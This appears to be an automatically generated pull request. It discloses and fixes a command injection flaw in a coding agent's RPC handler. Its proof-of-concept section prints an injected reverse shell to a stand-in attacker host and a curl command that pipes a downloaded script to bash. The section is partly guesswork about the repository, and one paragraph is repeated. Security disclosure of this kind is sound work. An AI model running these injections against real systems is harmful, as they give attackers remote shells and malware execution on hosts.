[Security] Fix CRITICAL vulnerability: V-001

[orbisai0security]

Security Fix

This PR addresses a CRITICAL severity vulnerability detected by our security scanner.

Security Impact Assessment

Aspect	Rating	Rationale
Impact	Critical	In this coding-agent repository, exploitation allows arbitrary command injection via the RPC mode, enabling full remote code execution on the host system where the agent runs, potentially compromising sensitive development environments, user data, or connected systems if deployed in a server or shared coding platform.
Likelihood	Medium	The vulnerability requires an attacker to interact with the RPC interface, which may not be publicly exposed in typical usage as a local coding assistant, but could be exploitable if the agent is used in networked or multi-user scenarios with unsanitized user inputs from coding requests.
Ease of Fix	Medium	Remediation involves refactoring the command construction to use child_process.execFile or spawn with an array of arguments instead of string concatenation, requiring code changes in the method, validation of inputs, and moderate testing to ensure functionality remains intact without breaking existing command executions.

Evidence: Proof-of-Concept Exploitation Demo

⚠️ For Educational/Security Awareness Only

This demonstration shows how the vulnerability could be exploited to help you understand its severity and prioritize remediation.

How This Vulnerability Can Be Exploited

The vulnerability in packages/coding-agent/src/modes/rpc/rpc-mode.ts allows command injection because the handleExecuteCommandRequest method directly concatenates user-provided arguments into a shell command executed via child_process.exec, without proper sanitization or escaping. An attacker with access to send RPC requests (e.g., via a compromised client or network-exposed API) could inject shell metacharacters like ; or && to append arbitrary commands, leading to remote code execution (RCE) on the host system running the coding agent. This is particularly exploitable in pi-mono's architecture, where the coding-agent package appears to be a Node.js-based tool for executing code or commands in response to RPC calls, likely in a development or AI-assisted coding environment.

The vulnerability in packages/coding-agent/src/modes/rpc/rpc-mode.ts allows command injection because the handleExecuteCommandRequest method directly concatenates user-provided arguments into a shell command executed via child_process.exec, without proper sanitization or escaping. An attacker with access to send RPC requests (e.g., via a compromised client or network-exposed API) could inject shell metacharacters like ; or && to append arbitrary commands, leading to remote code execution (RCE) on the host system running the coding agent. This is particularly exploitable in pi-mono's architecture, where the coding-agent package appears to be a Node.js-based tool for executing code or commands in response to RPC calls, likely in a development or AI-assisted coding environment.

// Proof-of-Concept Exploit Code
// This assumes the repository is cloned and dependencies installed (e.g., via npm install in packages/coding-agent)
// Run this in a test environment to simulate exploitation. It instantiates the RpcMode class and calls the vulnerable method with malicious input.

import { RpcMode } from './packages/coding-agent/src/modes/rpc/rpc-mode'; // Adjust path as needed based on repo structure

// Simulate an attacker crafting a malicious RPC request
// The 'args' array contains user-controlled input; here, we inject a command to create a reverse shell
const maliciousArgs = ['echo', 'Hello World && nc -e /bin/sh attacker.example.com 4444']; // Injection via '&&' metacharacter

// Instantiate the RpcMode (assuming it has a constructor; adjust if needed based on actual code)
const rpcMode = new RpcMode(); // May require additional setup like a logger or config

// Call the vulnerable method directly with malicious args
// This would execute: exec('echo Hello World && nc -e /bin/sh attacker.example.com 4444')
rpcMode.handleExecuteCommandRequest({ args: maliciousArgs })
  .then((result) => {
    console.log('Command executed:', result);
  })
  .catch((error) => {
    console.error('Error:', error);
  });

// Alternative: If the RPC is exposed via an HTTP endpoint or WebSocket (common in such agents),
// an attacker could send a JSON payload like:
// POST /rpc/execute
// {"method": "handleExecuteCommandRequest", "args": ["echo", "safe && malicious_command"]}
// Use tools like curl or a WebSocket client to send this in a real deployment.

# Additional Steps for Testing in a Safe Environment
# 1. Clone the repository: git clone https://github.com/badlogic/pi-mono
# 2. Navigate to the package: cd packages/coding-agent
# 3. Install dependencies: npm install
# 4. Build/Run the agent as per repo instructions (likely npm run build && npm start)
# 5. If the RPC is network-exposed, use a tool like Postman or curl to send the malicious request:
curl -X POST http://localhost:PORT/rpc/execute \
  -H "Content-Type: application/json" \
  -d '{"method": "handleExecuteCommandRequest", "args": ["echo", "safe && curl http://attacker.com/malware | bash"]}'
# 6. Observe RCE: The injected command executes, e.g., downloading and running malware.
# Note: In pi-mono's context, this agent likely runs in a Node.js environment, possibly containerized or on a developer's machine,
# making it a high-risk vector for lateral movement or persistence in coding workflows.

Exploitation Impact Assessment

Impact Category	Severity	Description
Data Exposure	High	Successful exploitation could access sensitive files on the host system, such as API keys, configuration files, or user code repositories stored locally. In pi-mono's coding-agent context, this might include proprietary code, AI model data, or credentials used for integrations, leading to theft of intellectual property or further attacks on connected systems.
System Compromise	High	Arbitrary command execution grants full shell access, allowing privilege escalation to root (if the agent runs with elevated privileges) or lateral movement to other hosts. In a typical deployment (e.g., on a developer's workstation or CI/CD pipeline), an attacker could install backdoors, exfiltrate data, or pivot to cloud resources if the agent has access to deployment tools.
Operational Impact	Medium	The injected commands could disrupt the coding-agent service by deleting files, exhausting resources (e.g., via infinite loops), or crashing the process. In pi-mono's workflow, this might halt code execution tasks, affect AI-assisted development pipelines, and require manual recovery, potentially delaying projects without causing permanent data loss.
Compliance Risk	Medium	Violates OWASP Top 10 A03:2021 (Injection) and could breach industry standards like NIST SP 800-53 for secure software development. If pi-mono handles any regulated data (e.g., in enterprise coding tools), it risks non-compliance with frameworks like SOC2 or GDPR, especially if exploitation leads to data breaches in user environments.

Vulnerability Details

• Rule ID: V-001
• File: packages/coding-agent/src/modes/rpc/rpc-mode.ts
• Description: The handleExecuteCommandRequest method constructs a shell command by concatenating user-controlled arguments into a string and executing it via child_process.exec. Because the arguments are not sanitized, an attacker can inject shell metacharacters (e.g., ';', '&&', '|') to execute arbitrary commands.

Changes Made

This automated fix addresses the vulnerability by applying security best practices.

Files Modified

• packages/coding-agent/src/modes/rpc/rpc-mode.ts

Verification

This fix has been automatically verified through:

• ✅ Build verification
• ✅ Scanner re-scan
• ✅ LLM code review

🤖 This PR was automatically generated.